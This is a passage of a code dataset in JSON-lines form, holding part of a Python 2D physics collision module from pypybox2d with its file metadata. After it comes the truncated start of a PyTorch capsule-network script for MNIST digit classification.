radius:\r\n            # Early out\r\n            return\r\n        if s > separation:\r\n            separation = s\r\n            normal_index = i\r\n\r\n    # Vertices that subtend the incident face\r\n    i1 = normal_index\r\n    i2 = (i1 + 1) % vertex_count\r\n    v1 = vertices[i1]\r\n    v2 = vertices[i2]\r\n\r\n    # If the center is inside the polygon...\r\n    if separation < EPSILON:\r\n        manifold.point_count = 1\r\n        manifold.type = Manifold.FACE_A\r\n        manifold.local_normal = Vec2(*normals[normal_index])\r\n        manifold.local_point = 0.5 * (v1 + v2)\r\n        point=manifold.points[0]\r\n        point.local_point = Vec2(*circle_b.position)\r\n        point.set_id(0, 0, 0, 0)\r\n        return\r\n\r\n    # Compute the barycentric coordinates\r\n    u1 = (c_local - v1).dot(v2 - v1)\r\n    u2 = (c_local - v2).dot(v1 - v2)\r\n\r\n    if u1 < 0.0:\r\n        if distance_squared(c_local, v1) > radius**2:\r\n            return\r\n\r\n        manifold.local_normal = (c_local - v1).normalized\r\n        manifold.local_point = Vec2(*v1)\r\n    elif u2 < 0.0:\r\n        if distance_squared(c_local, v2) > radius**2:\r\n            return\r\n\r\n        manifold.local_normal = (c_local - v2).normalized\r\n        manifold.local_point = Vec2(*v2)\r\n    else:\r\n        face_center = 0.5 * (v1 + v2)\r\n        separation = (c_local - face_center).dot(normals[i1])\r\n        if separation > radius:\r\n            return\r\n\r\n        manifold.local_normal = Vec2(*normals[i1])\r\n        manifold.local_point = face_center\r\n\r\n    manifold.point_count = 1\r\n    manifold.type = Manifold.FACE_A\r\n    point=manifold.points[0]\r\n    point.local_point = Vec2(*circle_b.position)\r\n    point.set_id(0, 0, 0, 0)\r\n\r\n# -- polygons --\r\ndef collide_polygons(manifold, poly_a, xf_a, poly_b, xf_b):\r\n    # Find edge normal of max separation on A - return if separating axis is found\r\n    # Find edge normal of max separation on B - return if separation axis is found\r\n    # Choose reference edge as min(minA, minB)\r\n    # Find incident edge\r\n    # Clip\r\n    #                                                                              \r\n    # The normal points from 1 to 2\r\n\r\n    manifold.point_count = 0\r\n    total_radius = poly_a.radius + poly_b.radius\r\n\r\n    separation_a, edge_a = max_separation(poly_a, xf_a, poly_b, xf_b)\r\n    if separation_a > total_radius:\r\n        return\r\n\r\n    separation_b, edge_b = max_separation(poly_b, xf_b, poly_a, xf_a)\r\n    if separation_b > total_radius:\r\n        return\r\n\r\n    # poly1: reference polygon\r\n    # poly2: incident polygon\r\n    # edge1: reference edge\r\n\r\n    if separation_b > (RELATIVE_TOL * separation_a + ABSOLUTE_TOL):\r\n        poly1 = poly_b\r\n        poly2 = poly_a\r\n        xf1 = xf_b\r\n        xf2 = xf_a\r\n        edge1 = edge_b\r\n        manifold.type = Manifold.FACE_B\r\n        flip = True\r\n    else:\r\n        poly1 = poly_a\r\n        poly2 = poly_b\r\n        xf1 = xf_a\r\n        xf2 = xf_b\r\n        edge1 = edge_a\r\n        manifold.type = Manifold.FACE_A\r\n        flip = False\r\n\r\n    incident_edge = find_incident_edge(poly1, xf1, edge1, poly2, xf2)\r\n\r\n    vertices1 = poly1._vertices\r\n\r\n    iv1 = edge1\r\n    iv2 = (edge1 + 1) % len(poly1._vertices)\r\n\r\n    v11 = vertices1[iv1]\r\n    v12 = vertices1[iv2]\r\n\r\n    localtangent = (v12 - v11).normalized\r\n\r\n    local_normal = localtangent.cross(1.0)\r\n    planepoint = 0.5 * (v11 + v12)\r\n\r\n    tangent = xf1._rotation * localtangent\r\n    normal = tangent.cross(1.0)\r\n    \r\n    v11 = xf1 * v11\r\n    v12 = xf1 * v12\r\n\r\n    # Face offset.\r\n    front_offset = normal.dot(v11)\r\n\r\n    # Side offsets, extended by polytope skin thickness.\r\n    side_offset1 = -tangent.dot(v11) + total_radius\r\n    side_offset2 = tangent.dot(v12) + total_radius\r\n\r\n    # Clip incident edge against extruded edge1 side edges.\r\n    # Clip to box side 1\r\n    clip_points1 = clip_segment_to_line(incident_edge, -tangent, side_offset1, iv1)\r\n    if len(clip_points1) < 2:\r\n        return\r\n\r\n    # Clip to negative box side 1\r\n    clip_points2 = clip_segment_to_line(clip_points1, tangent, side_offset2, iv2)\r\n    if len(clip_points2) < 2:\r\n        return\r\n\r\n    # Now clip_points2 contains the clipped points.\r\n    manifold.local_normal = local_normal\r\n    manifold.local_point = planepoint\r\n\r\n    point_count = 0\r\n    for i in range(MAX_MANIFOLD_POINTS):\r\n        separation = normal.dot(clip_points2[i].v) - front_offset\r\n\r\n        if separation <= total_radius:\r\n            cp = manifold.points[point_count]\r\n            cp.local_point = xf2.mul_t(clip_points2[i].v)\r\n            cp.set_id(*clip_points2[i].id)\r\n            if flip:\r\n                # Swap features\r\n                cp.set_id(cp.index_b, cp.index_a, cp.type_b, cp.type_a) \r\n            point_count += 1\r\n\r\n    manifold.point_count = point_count\r\n\r\n\r\n# -- edge --\r\n\r\ndef collide_edge_circle(manifold, edge_a, xf_a, circle_b, xf_b):\r\n    \"\"\"\r\n    Compute contact points for edge versus circle.\r\n    This accounts for edge connectivity.\r\n    \"\"\"\r\n    manifold.point_count = 0\r\n\r\n    # Compute circle in frame of edge\r\n    Q = xf_a.mul_t(xf_b * circle_b.position)\r\n\r\n    A = Vec2(*edge_a._vertex1)\r\n    B = Vec2(*edge_a._vertex2)\r\n    e = B - A\r\n\r\n    # Barycentric coordinates\r\n    u = e.dot(B - Q)\r\n    v = e.dot(Q - A)\r\n\r\n    radius = edge_a.radius + circle_b.radius\r\n\r\n    index_b = 0\r\n    type_b = ManifoldPoint.VERTEX\r\n\r\n    # Region A\r\n    if v <= 0.0:\r\n        P = A\r\n        d = Q - P\r\n        dd = d.dot(d)\r\n        if dd > radius**2:\r\n            return\r\n\r\n        # Is there an edge connected to A?\r\n        if edge_a._vertex0 is not None:\r\n            A1 = edge_a._vertex0\r\n            B1 = A\r\n            e1 = B1 - A1\r\n            u1 = e1.dot(B1 - Q)\r\n\r\n            # Is the circle in Region AB of the previous edge?\r\n            if u1 > 0.0:\r\n                return\r\n\r\n        index_a = 0\r\n        type_a = ManifoldPoint.VERTEX\r\n        manifold.point_count = 1\r\n        manifold.type = Manifold.CIRCLES\r\n        manifold.local_normal = Vec2()\r\n        manifold.local_point = P\r\n        mp = manifold.points[0]\r\n        mp.set_id(index_a, index_b, type_a, type_b) \r\n        mp.local_point = Vec2(*circle_b.position)\r\n        return\r\n    \r\n    # Region B\r\n    if u <= 0.0:\r\n        P = B\r\n        d = Q - P\r\n        dd = d.dot(d)\r\n        if dd > radius**2:\r\n            return\r\n\r\n        # Is there an edge connected to B?\r\n        if edge_a._vertex3 is not None:\r\n            B2 = edge_a._vertex3\r\n            A2 = B\r\n            e2 = B2 - A2\r\n            v2 = e2.dot(Q - A2)\r\n\r\n            # Is the circle in Region A_b of the next edge?\r\n            if v2 > 0.0:\r\n                return\r\n\r\n        index_a = 1\r\n        type_a =ManifoldPoint.VERTEX\r\n        manifold.point_count = 1\r\n        manifold.type = Manifold.CIRCLES\r\n        manifold.local_normal = Vec2()\r\n        manifold.local_point = P\r\n\r\n        mp = manifold.points[0]\r\n        mp.set_id(index_a, index_b, type_a, type_b) \r\n        mp.local_point = Vec2(*circle_b.position)\r\n        return\r\n\r\n    # Region A_b\r\n    den = e.dot(e)\r\n    assert(den > 0.0)\r\n    P = (1.0 / den) * (u * A + v * B)\r\n    d = Q - P\r\n    dd = d.dot(d)\r\n    if dd > radius**2:\r\n        return\r\n\r\n    n = Vec2(-e.y, e.x)\r\n    if n.dot(Q - A) < 0.0:\r\n        n = Vec2(-n.x, -n.y)\r\n    n = n.normalized\r\n\r\n    index_a = 0\r\n    type_a = ManifoldPoint.FACE\r\n    manifold.point_count = 1\r\n    manifold.type = Manifold.FACE_A\r\n    manifold.local_normal = n\r\n    manifold.local_point = A\r\n\r\n    mp = manifold.points[0]\r\n    mp.set_id(index_a, index_b, type_a, type_b) \r\n    mp.local_point = Vec2(*circle_b.position)\r\n\r\ndef collide_edge_polygon(manifold, edge_a, xf_a, polygon_b, xf_b):\r\n    collider = EPCollider(edge_a, xf_a, polygon_b, xf_b)\r\n    collider.collide(manifold)\r\n\r\n# -- edge and polygon --\r\nclass EPAxis(object):\r\n    __slots__ = ['type', 'index', 'separation']\r\n\r\n    # Edge-polygon axis\r\n    UNKNOWN, EDGE_A, EDGE_B = range(3)\r\n    def __init__(self):\r\n        self.type = EPAxis.UNKNOWN\r\n        self.index = 0\r\n        self.separation = 0.0\r\n\r\nclass EPFatEdge(object):\r\n    \"\"\"Edge shape plus more stuff.\"\"\"\r\n    __slots__ = ['v0', 'v1', 'v2', 'v3', 'normal']\r\n    def __init__(self):\r\n        pass\r\n\r\nclass EPProxy(object):\r\n    \"\"\"\r\n    This lets us treate and edge shape and a polygon in the same\r\n    way in the SAT collider.\r\n    \"\"\"\r\n    __slots__ = ['vertices', 'normals', 'centroid']\r\n    def __init__(self):\r\n        pass\r\n\r\nclass EPCollider(object):\r\n    \"\"\"\r\n    This class collides and edge and a polygon, taking into account edge adjacency.\r\n\r\n    Collide an edge and polygon. This uses the SAT and clipping to produce up to 2 contact points.\r\n    Edge adjacency is handle to produce locally valid contact points and normals. This is intended\r\n    to allow the polygon to slide smoothly over an edge chain.\r\n\r\n    Algorithm\r\n    1. Classify front-side or back-side collision with edge.\r\n    2. Compute separation\r\n    3. Process adjacent edges\r\n    4. Classify adjacent edge as convex, flat, null, or concave\r\n    5. Skip null or concave edges. Concave edges get a separate manifold.\r\n    6. If the edge is flat, compute contact points as normal. Discard boundary points.\r\n    7. If the edge is convex, compute it's separation.\r\n    8. Use the minimum separation of up to three edges. If the minimum separation\r\n       is not the primary edge, return.\r\n    9. If the minimum separation is the primary edge, compute the contact points and return.\r\n    \"\"\"\r\n    __slots__ = ['_xf', '_edge_a', '_proxy_a', '_proxy_b', '_radius',\r\n                '_limit11', '_limit12', '_limit21', '_limit22']\r\n\r\n    def __init__(self, edge_a, xf_a, polygon_b, xf_b):\r\n        # Transform\r\n        self._xf = xf_a.mul_t(xf_b)\r\n\r\n        # Edge geometry\r\n        self._edge_a = EPFatEdge()\r\n        self._edge_a.v0 = edge_a._vertex0\r\n        self._edge_a.v1 = edge_a._vertex1\r\n        self._edge_a.v2 = edge_a._vertex2\r\n        self._edge_a.v3 = edge_a._vertex3\r\n        e = self._edge_a.v2 - self._edge_a.v1\r\n\r\n        # Normal points outwards in CCW order.\r\n        self._edge_a.normal = Vec2(e.y, -e.x).normalized\r\n\r\n        # Proxy for edge\r\n        self._proxy_a = EPProxy()\r\n        self._proxy_a.vertices = [self._edge_a.v1, self._edge_a.v2]\r\n        self._proxy_a.normals = [self._edge_a.normal, -self._edge_a.normal]\r\n        self._proxy_a.centroid = 0.5 * (self._edge_a.v1 + self._edge_a.v2)\r\n\r\n        # Proxy for polygon\r\n        self._proxy_b = EPProxy()\r\n        self._proxy_b.centroid = self._xf * polygon_b._centroid\r\n        self._proxy_b.vertices = [self._xf * vertex for vertex in polygon_b._vertices]\r\n        self._proxy_b.normals = [self._xf._rotation * normal for normal in polygon_b._normals]\r\n\r\n        self._radius = 2.0 * POLYGON_RADIUS\r\n\r\n        self._limit11 = Vec2()\r\n        self._limit12 = Vec2()\r\n        self._limit21 = Vec2()\r\n        self._limit22 = Vec2()\r\n\r\n    def collide(self, manifold):\r\n        manifold.point_count = 0\r\n\r\n        self.compute_adjacency()\r\n\r\n        edge_axis = self.compute_edge_separation()\r\n\r\n        # If no valid normal can be found than this edge should not collide.\r\n        # This can happen on the middle edge of a 3-edge zig-zag chain.\r\n        if edge_axis.type == EPAxis.UNKNOWN:\r\n            return\r\n\r\n        if edge_axis.separation > self._radius:\r\n            return\r\n\r\n        polygon_axis = self.compute_polygon_separation()\r\n        if polygon_axis.type != EPAxis.UNKNOWN and polygon_axis.separation > self._radius:\r\n            return\r\n\r\n        # Use hysteresis for jitter reduction.\r\n        if polygon_axis.type == EPAxis.UNKNOWN:\r\n            primary_axis = edge_axis\r\n        elif polygon_axis.separation > RELATIVE_TOL * edge_axis.separation + ABSOLUTE_TOL:\r\n            primary_axis = polygon_axis\r\n        else:\r\n            primary_axis = edge_axis\r\n\r\n        if primary_axis.type == EPAxis.EDGE_A:\r\n            proxy1 = self._proxy_a\r\n            proxy2 = self._proxy_b\r\n            manifold.type = Manifold.FACE_A\r\n        else:\r\n            proxy1 = self._proxy_b\r\n            proxy2 = self._proxy_a\r\n            manifold.type = Manifold.FACE_B\r\n\r\n        edge1 = primary_axis.index\r\n\r\n        incident_edge = self.find_incident_edge(proxy1, primary_axis.index, proxy2)\r\n        vertices1 = proxy1.vertices\r\n\r\n        iv1 = edge1\r\n        iv2 = (edge1 + 1) % len(proxy1.vertices)\r\n\r\n        v11 = vertices1[iv1]\r\n        v12 = vertices1[iv2]\r\n\r\n        tangent = (v12 - v11).normalized\r\n        \r\n        normal = tangent.cross(1.0)\r\n        plane_point = 0.5 * (v11 + v12)\r\n\r\n        # Face offset.\r\n        front_offset = normal.dot(v11)\r\n\r\n        # Side offsets, extended by polytope skin thickness.\r\n        side_offset1 = -tangent.dot(v11) + self._radius\r\n        side_offset2 =  tangent.dot(v12) + self._radius\r\n\r\n        # Clip incident edge against extruded edge1 side edges.\r\n        # Clip to box side 1\r\n        clip_points1 = clip_segment_to_line(incident_edge, -tangent, side_offset1, iv1)\r\n        if len(clip_points1) < MAX_MANIFOLD_POINTS:\r\n            return\r\n\r\n        # Clip to negative box side 1\r\n        clip_points2 = clip_segment_to_line(clip_points1, tangent, side_offset2, iv2)\r\n        if len(clip_points2) < MAX_MANIFOLD_POINTS:\r\n            return\r\n\r\n        # Now clip_points2 contains the clipped points.\r\n        if primary_axis.type == EPAxis.EDGE_A:\r\n            manifold.local_normal = normal\r\n            manifold.local_point = plane_point\r\n        else:\r\n            manifold.local_normal = self._xf._rotation.mul_t(normal)\r\n            manifold.local_point = self._xf.mul_t(plane_point)\r\n    \r\n        point_count = 0\r\n        for clip_point in clip_points2:\r\n            separation = normal.dot(clip_point.v) - front_offset\r\n\r\n            if separation <= self._radius:\r\n                cp = manifold.points[point_count]\r\n\r\n                if primary_axis.type == EPAxis.EDGE_A:\r\n                    cp.local_point = self._xf.mul_t(clip_point.v)\r\n                    cp.id = tuple(clip_point.id)\r\n                else:\r\n                    cp.local_point = clip_point.v\r\n                    cp.set_id(clip_point.type_b, clip_point.type_a, clip_point.index_b, clip_point.index_a)\r\n\r\n                point_count += 1\r\n        manifold.point_count = point_count\r\n\r\n    # Compute allowable normal ranges based on adjacency.\r\n    # A normal n is allowable iff:\r\n    # cross(n, n1) >= 0.0 and cross(n2, n) >= 0.0\r\n    # n points from A to B (edge to polygon)\r\n    def compute_adjacency(self):\r\n        v0 = self._edge_a.v0\r\n        v1 = self._edge_a.v1\r\n        v2 = self._edge_a.v2\r\n        v3 = self._edge_a.v3\r\n\r\n        # Determine allowable the normal regions based on adjacency.\r\n        # Note: it may be possible that no normal is admissable.\r\n        center_b = self._proxy_b.centroid\r\n        if self._edge_a.v0 is not None:\r\n            e0 = v1 - v0\r\n            e1 = v2 - v1\r\n            n0 = Vec2(e0.y, -e0.x).normalized\r\n            n1 = Vec2(e1.y, -e1.x).normalized\r\n\r\n            convex = n0.cross(n1) >= 0.0\r\n            front0 = n0.dot(center_b - v0) >= 0.0\r\n            front1 = n1.dot(center_b - v1) >= 0.0\r\n\r\n            if convex:\r\n                if front0 or front1:\r\n                    self._limit11 = n1\r\n                    self._limit12 = n0\r\n                else:\r\n                    self._limit11 = -n1\r\n                    self._limit12 = -n0\r\n            else:\r\n                if front0 and front1:\r\n                    self._limit11 = n0\r\n                    self._limit12 = n1\r\n                else:\r\n                    self._limit11 = -n0\r\n                    self._limit12 = -n1\r\n        else:\r\n            self._limit11 = Vec2()\r\n            self._limit12 = Vec2()\r\n\r\n        if self._edge_a.v3 is not None:\r\n            e1 = v2 - v1\r\n            e2 = v3 - v2\r\n            n1 = Vec2(e1.y, -e1.x).normalized\r\n            n2 = Vec2(e2.y, -e2.x).normalized\r\n\r\n            convex = n1.cross(n2) >= 0.0\r\n            front1 = n1.dot(center_b - v1) >= 0.0\r\n            front2 = n2.dot(center_b - v2) >= 0.0\r\n\r\n            if convex:\r\n                if front1 or front2:\r\n                    self._limit21 = n2\r\n                    self._limit22 = n1\r\n                else:\r\n                    self._limit21 = -n2\r\n                    self._limit22 = -n1\r\n            else:\r\n                if front1 and front2:\r\n                    self._limit21 = n1\r\n                    self._limit22 = n2\r\n                else:\r\n                    self._limit21 = -n1\r\n                    self._limit22 = -n2\r\n        else:\r\n            self._limit21 = Vec2()\r\n            self._limit22 = Vec2()\r\n\r\n    def compute_edge_separation(self):\r\n        # Edge_a separation\r\n        best_axis = EPAxis()\r\n        best_axis.type = EPAxis.UNKNOWN\r\n        best_axis.index = -1\r\n        best_axis.separation = -MAX_FLOAT\r\n        normals = [self._edge_a.normal, -self._edge_a.normal]\r\n        \r\n        for i, n in enumerate(normals):\r\n            # Adjacency\r\n            valid1 = (n.cross(self._limit11) >= -ANGULAR_SLOP) and (self._limit12.cross(n) >= -ANGULAR_SLOP)\r\n            valid2 = (n.cross(self._limit21) >= -ANGULAR_SLOP) and (self._limit22.cross(n) >= -ANGULAR_SLOP)\r\n\r\n            if not valid1 or not valid2:\r\n                continue\r\n            \r\n            axis = EPAxis()\r\n            axis.type = EPAxis.EDGE_A\r\n            axis.index = i\r\n\r\n            dots = [n.dot(vertex - self._edge_a.v1) for vertex in self._proxy_b.vertices]\r\n            axis.separation = min(dots)\r\n\r\n            if axis.separation > self._radius:\r\n                return axis\r\n\r\n            if axis.separation > best_axis.separation:\r\n                best_axis = axis\r\n\r\n        return best_axis\r\n\r\n    def compute_polygon_separation(self):\r\n        axis = EPAxis()\r\n        axis.type = EPAxis.UNKNOWN\r\n        axis.index = -1\r\n        axis.separation = -MAX_FLOAT\r\n        for i in range(len(self._proxy_b.vertices)):\r\n            n = -self._proxy_b.normals[i]\r\n\r\n            # Adjacency\r\n            valid1 = (n.cross(self._limit11) >= -ANGULAR_SLOP) and (self._limit12.cross(n) >= -ANGULAR_SLOP)\r\n            valid2 = (n.cross(self._limit21) >= -ANGULAR_SLOP) and (self._limit22.cross(n) >= -ANGULAR_SLOP)\r\n\r\n            if not valid1 or not valid2:\r\n                continue\r\n\r\n            s1 = n.dot(self._proxy_b.vertices[i] - self._edge_a.v1)\r\n            s2 = n.dot(self._proxy_b.vertices[i] - self._edge_a.v2)\r\n            s = min(s1, s2)\r\n\r\n            if s > self._radius:\r\n                axis.type = EPAxis.EDGE_B\r\n                axis.index = i\r\n                axis.separation = s\r\n\r\n            if s > axis.separation:\r\n                axis.type = EPAxis.EDGE_B\r\n                axis.index = i\r\n                axis.separation = s\r\n\r\n        return axis\r\n\r\n    def find_incident_edge(self, proxy1, edge1, proxy2):\r\n        normals1 = proxy1.normals\r\n\r\n        vertices2 = proxy2.vertices\r\n        normals2 = proxy2.normals\r\n\r\n        assert(0 <= edge1 < len(normals1))\r\n\r\n        # Get the normal of the reference edge in proxy2's frame.\r\n        normal1 = normals1[edge1]\r\n\r\n        # Find the incident edge on proxy2.\r\n        dots = [normal1.dot(v) for v in normals2]\r\n        min_dot = min(dots)\r\n        index = dots.index(min_dot)\r\n\r\n        # Build the clip vertices for the incident edge.\r\n        i1 = index\r\n        i2 = (i1 + 1) % len(vertices2)\r\n\r\n        c0=ClipVertex(vertices2[i1], edge1, i1, ManifoldPoint.FACE, ManifoldPoint.VERTEX)\r\n        c1=ClipVertex(vertices2[i2], edge1, i2, ManifoldPoint.FACE, ManifoldPoint.VERTEX)\r\n        return [c0, c1]\r\n\r\n", "repo_name": "pybox2d/pypybox2d", "sub_path": "pypybox2d/collision.py", "file_name": "collision.py", "file_ext": "py", "file_size_in_byte": 22622, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "81", "api": [{"api_name": "contact_util.Manifold.CIRCLES", "line_number": 59, "usage_type": "attribute"}, {"api_name": "contact_util.Manifold", "line_number": 59, "usage_type": "name"}, {"api_name": "common.Vec2", "line_number": 60, "usage_type": "call"}, {"api_name": "common.Vec2", "line_number": 61, "usage_type": "call"}, {"api_name": "common.Vec2", "line_number": 65, "usage_type": "call"}, {"api_name": "settings.MAX_FLOAT", "line_number": 77, "usage_type": "name"}, {"api_name": "settings.EPSILON", "line_number": 102, "usage_type": "name"}, {"api_name": "contact_util.Manifold.FACE_A", "line_number": 104, "usage_type": "attribute"}, {"api_name": "contact_util.Manifold", "line_number": 104, "usage_type": "name"}, {"api_name": "common.Vec2", "line_number": 105, "usage_type": "call"}, {"api_name": "common.Vec2", "line_number": 108, "usage_type": "call"}, {"api_name": "common.distance_squared", "line_number": 117, "usage_type": "call"}, {"api_name": "common.Vec2", "line_number": 121, "usage_type": "call"}, {"api_name": "common.distance_squared", "line_number": 123, "usage_type": "call"}, {"api_name": "common.Vec2", "line_number": 127, "usage_type": "call"}, {"api_name": "common.Vec2", "line_number": 134, "usage_type": "call"}, {"api_name": "contact_util.Manifold.FACE_A", "line_number": 138, "usage_type": "attribute"}, {"api_name": "contact_util.Manifold", "line_number": 138, "usage_type": "name"}, {"api_name": "common.Vec2", "line_number": 140, "usage_type": "call"}, {"api_name": "collision_util.max_separation", "line_number": 156, "usage_type": "call"}, {"api_name": "collision_util.max_separation", "line_number": 160, "usage_type": "call"}, {"api_name": "contact_util.Manifold.FACE_B", "line_number": 174, "usage_type": "attribute"}, {"api_name": "contact_util.Manifold", "line_number": 174, "usage_type": "name"}, {"api_name": "contact_util.Manifold.FACE_A", "line_number": 182, "usage_type": "attribute"}, {"api_name": "contact_util.Manifold", "line_number": 182, "usage_type": "name"}, {"api_name": "collision_util.find_incident_edge", "line_number": 185, "usage_type": "call"}, {"api_name": "collision_util.clip_segment_to_line", "line_number": 215, "usage_type": "call"}, {"api_name": "collision_util.clip_segment_to_line", "line_number": 220, "usage_type": "call"}, {"api_name": "settings.MAX_MANIFOLD_POINTS", "line_number": 229, "usage_type": "argument"}, {"api_name": "common.Vec2", "line_number": 256, "usage_type": "call"}, {"api_name": "common.Vec2", "line_number": 257, "usage_type": "call"}, {"api_name": "contact_util.ManifoldPoint.VERTEX", "line_number": 267, "usage_type": "attribute"}, {"api_name": "contact_util.ManifoldPoint", "line_number": 267, "usage_type": "name"}, {"api_name": "contact_util.ManifoldPoint.VERTEX", "line_number": 289, "usage_type": "attribute"}, {"api_name": "contact_util.ManifoldPoint", "line_number": 289, "usage_type": "name"}, {"api_name": "contact_util.Manifold.CIRCLES", "line_number": 291, "usage_type": "attribute"}, {"api_name": "contact_util.Manifold", "line_number": 291, "usage_type": "name"}, {"api_name": "common.Vec2", "line_number": 292, "usage_type": "call"}, {"api_name": "common.Vec2", "line_number": 296, "usage_type": "call"}, {"api_name": "contact_util.ManifoldPoint.VERTEX", "line_number": 319, "usage_type": "attribute"}, {"api_name": "contact_util.ManifoldPoint", "line_number": 319, "usage_type": "name"}, {"api_name": "contact_util.Manifold.CIRCLES", "line_number": 321, "usage_type": "attribute"}, {"api_name": "contact_util.Manifold", "line_number": 321, "usage_type": "name"}, {"api_name": "common.Vec2", "line_number": 322, "usage_type": "call"}, {"api_name": "common.Vec2", "line_number": 327, "usage_type": "call"}, {"api_name": "common.Vec2", "line_number": 339, "usage_type": "call"}, {"api_name": "common.Vec2", "line_number": 341, "usage_type": "call"}, {"api_name": "contact_util.ManifoldPoint.FACE", "line_number": 345, "usage_type": "attribute"}, {"api_name": "contact_util.ManifoldPoint", "line_number": 345, "usage_type": "name"}, {"api_name": "contact_util.Manifold.FACE_A", "line_number": 347, "usage_type": "attribute"}, {"api_name": "contact_util.Manifold", "line_number": 347, "usage_type": "name"}, {"api_name": "common.Vec2", "line_number": 353, "usage_type": "call"}, {"api_name": "common.Vec2", "line_number": 421, "usage_type": "call"}, {"api_name": "settings.POLYGON_RADIUS", "line_number": 435, "usage_type": "name"}, {"api_name": "common.Vec2", "line_number": 437, "usage_type": "call"}, {"api_name": "common.Vec2", "line_number": 438, "usage_type": "call"}, {"api_name": "common.Vec2", "line_number": 439, "usage_type": "call"}, {"api_name": "common.Vec2", "line_number": 440, "usage_type": "call"}, {"api_name": "contact_util.Manifold.FACE_A", "line_number": 472, "usage_type": "attribute"}, {"api_name": "contact_util.Manifold", "line_number": 472, "usage_type": "name"}, {"api_name": "contact_util.Manifold.FACE_B", "line_number": 476, "usage_type": "attribute"}, {"api_name": "contact_util.Manifold", "line_number": 476, "usage_type": "name"}, {"api_name": "collision_util.clip_segment_to_line", "line_number": 503, "usage_type": "call"}, {"api_name": "settings.MAX_MANIFOLD_POINTS", "line_number": 504, "usage_type": "name"}, {"api_name": "collision_util.clip_segment_to_line", "line_number": 508, "usage_type": "call"}, {"api_name": "settings.MAX_MANIFOLD_POINTS", "line_number": 509, "usage_type": "name"}, {"api_name": "common.Vec2", "line_number": 553, "usage_type": "call"}, {"api_name": "common.Vec2", "line_number": 554, "usage_type": "call"}, {"api_name": "common.Vec2", "line_number": 575, "usage_type": "call"}, {"api_name": "common.Vec2", "line_number": 576, "usage_type": "call"}, {"api_name": "common.Vec2", "line_number": 581, "usage_type": "call"}, {"api_name": "common.Vec2", "line_number": 582, "usage_type": "call"}, {"api_name": "common.Vec2", "line_number": 603, "usage_type": "call"}, {"api_name": "common.Vec2", "line_number": 604, "usage_type": "call"}, {"api_name": "settings.MAX_FLOAT", "line_number": 611, "usage_type": "name"}, {"api_name": "settings.ANGULAR_SLOP", "line_number": 616, "usage_type": "name"}, {"api_name": "settings.ANGULAR_SLOP", "line_number": 617, "usage_type": "name"}, {"api_name": "settings.MAX_FLOAT", "line_number": 641, "usage_type": "name"}, {"api_name": "settings.ANGULAR_SLOP", "line_number": 646, "usage_type": "name"}, {"api_name": "settings.ANGULAR_SLOP", "line_number": 647, "usage_type": "name"}, {"api_name": "contact_util.ClipVertex", "line_number": 688, "usage_type": "call"}, {"api_name": "contact_util.ManifoldPoint.FACE", "line_number": 688, "usage_type": "attribute"}, {"api_name": "contact_util.ManifoldPoint", "line_number": 688, "usage_type": "name"}, {"api_name": "contact_util.ManifoldPoint.VERTEX", "line_number": 688, "usage_type": "attribute"}, {"api_name": "contact_util.ClipVertex", "line_number": 689, "usage_type": "call"}, {"api_name": "contact_util.ManifoldPoint.FACE", "line_number": 689, "usage_type": "attribute"}, {"api_name": "contact_util.ManifoldPoint", "line_number": 689, "usage_type": "name"}, {"api_name": "contact_util.ManifoldPoint.VERTEX", "line_number": 689, "usage_type": "attribute"}]}
{"seq_id": "7217425594", "text": "\"\"\"\nsingle capsule network to classify mnist digits.\n\"\"\"\nfrom collections import OrderedDict\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport torchvision.transforms as transforms\nfrom torchvision import datasets\n\nTRAIN_ON_GPU = torch.cuda.is_available()\n\nif (TRAIN_ON_GPU):\n    print('Training on GPU!')\nelse:\n    print('Only CPU available')\n\n# plt.interactive(False)\nseed = 1\nnp.random.seed(seed)\ntorch.manual_seed(seed)\n\nnum_workers = 0\nbatch_size = 32\n\nip_transform = transforms.Compose(\n    [\n        transforms.ToTensor(),\n        transforms.Normalize((0.1307,), (0.3081,))\n    ]\n)\n\n# get datasets\ntrain_data = datasets.MNIST(root='data', train=True, download=True, transform=ip_transform)\ntest_data = datasets.MNIST(root='data', train=False, download=True, transform=ip_transform)\n\n# data loader\ntrain_loader = torch.utils.data.DataLoader(train_data, batch_size=batch_size, num_workers=num_workers)\ntest_loader = torch.utils.data.DataLoader(test_data, batch_size=batch_size, num_workers=num_workers)\n\n# obtain one batch of training images\ndataiter = iter(train_loader)\nimages, labels = dataiter.next()\nimages = images.numpy()\n\n\n# plot the images in the batch, along with the corresponding labels\n# fig = plt.figure(figsize=(25, 4))\n# for idx in np.arange(batch_size):\n#     ax = fig.add_subplot(2, batch_size/2, idx+1, xticks=[], yticks=[])\n#     ax.imshow(np.squeeze(images[idx]), cmap='gray')\n#     # print out the correct label for each image\n#     # .item() gets the value contained in a Tensor\n#     ax.set_title(str(labels[idx].item()))\n#\n# plt.show()\n\n\ndef squash(input_tensor):\n    '''Squashes an input Tensor so it has a magnitude between 0-1.\n       param input_tensor: a stack of capsule inputs, s_j\n       return: a stack of normalized, capsule output vectors, v_j\n    '''\n    squared_norm = (input_tensor ** 2).sum(dim=-1, keepdim=True)\n    scale = squared_norm / (1 + squared_norm)  # normalization coeff\n    output_tensor = scale * input_tensor / torch.sqrt(squared_norm)\n    return output_tensor\n\n\ndef transpose_softmax(input_tensor, dim=1):\n    # transpose input\n    transposed_input = input_tensor.transpose(dim, len(input_tensor.size()) - 1)\n    # calculate softmax\n    softmaxed_output = F.softmax(transposed_input.contiguous().view(-1, transposed_input.size(-1)), dim=-1)\n    # un-transpose result\n    return softmaxed_output.view(*transposed_input.size()).transpose(dim, len(input_tensor.size()) - 1)\n\n\n# Initial Convolutino later\nclass ConvolutionLayer(nn.Module):\n\n    def __init__(self, in_channels=1, out_channels=256):\n        super(ConvolutionLayer, self).__init__()\n        # define convolution kernel\n        self.conv = nn.Conv2d(in_channels, out_channels, kernel_size=9, stride=1, padding=0)\n\n    def forward(self, x):\n        features = F.relu(self.conv(x))\n        if TRAIN_ON_GPU:\n            features = features.cuda()\n        return features\n\n\n# scalar ip and vector op for primary capsule\nclass PrimaryCapsule(nn.Module):\n\n    def __init__(self, num_capsules=8, in_channels=256, out_channels=32, kernel_size=9, stride=2, padding=0):\n        super(PrimaryCapsule, self).__init__()\n        # create a list of convnet for capsules\n        self.capsules = nn.ModuleList \\\n                (\n                [\n                    nn.Conv2d(in_channels=in_channels, out_channels=out_channels, 